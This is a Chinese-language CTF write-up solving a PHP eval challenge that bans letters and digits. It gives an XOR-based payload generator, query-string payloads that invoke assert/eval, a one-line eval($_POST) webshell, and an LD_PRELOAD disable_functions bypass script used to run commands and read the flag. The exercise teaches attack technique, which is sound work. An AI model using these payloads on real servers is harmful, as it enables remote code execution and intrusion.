打开链接可以发现题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); }
// ?>
|
源码分析结果:
- GET获取变量code
- 传递内容长度不大于40
- 内容不包含字母和数字
如何构造出不含数字和字母的webshell ?
可以参照以下链接内容:
它的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。
根据上面的思路写脚本来构造来payload
网上的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php function gen($pl) { $aa = ""; $bb = ""; for ($j = 0; $j < strlen($pl); $j++) { for ($i = 0xa0; $i < 0xff; $i++) { if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) { $t = chr($i) ^ $pl[$j]; if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) { $aa .= chr($i); $bb .= $t; break; } } } } return str_replace("%", "\x", urlencode($aa) . "^" . urlencode($bb) . "\r\n"); } function gen_url($pl) { $aa = ""; $bb = ""; for ($j = 0; $j < strlen($pl); $j++) { for ($i = 0xa0; $i < 0xff; $i++) { if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) { $t = chr($i) ^ $pl[$j]; if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) { $aa .= chr($i); $bb .= $t; break; } } } } return urlencode($aa) . "^" . urlencode($bb). "\r\n"; }
echo gen("_GET"); echo gen_url("_GET");
echo "\n"; echo "\xA0\xA0\xA0\xA0"^"\xFF\xE7\xE5\xF4"; echo "\n";
echo "\n"; echo urldecode("%A0%A0%A0%A0")^urldecode("%FF%E7%E5%F4"); echo "\n";
|
我们可以得到2个payload (有个疑问,不是要在40个字符以内吗?怎么绕过的?)
1 2 3
| ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();
|
上传一句话木马
我们直接在url上输入code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27cmd%27])
然后就可以用蚁剑连接上了。
发现有个根目录flag和readflag,flag打开无权限,我们尝试打开readflag发现是个二进制文件直接将它下载,然后反编译以下得到:
但是我们无法直接运行这个文件,没有权限。
如何提高我们的权限?
这里我们可以去看看bypass_disablefunc_via_LD_PRELOAD这里面写的非常清楚。
下一步,上传我们的恶意文件
因为权限问题我们在蚁剑上无法上传文件到根目录,但是我们可以上传到/tmp。我们将fithub中的恶意so文件(注意系统为数),和php文件上传,我这里把他们重新命名了,方便等下的包含,123.so和123.php。
其中123.php的内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path); ?>
|
利用我们的include()包含文件,执行系统命令
执行以下命令:
1
| ?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=var_dump(eval($_GET[a]))&a=include(%27/tmp/123.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/123.so
|
就可以得到我们的flag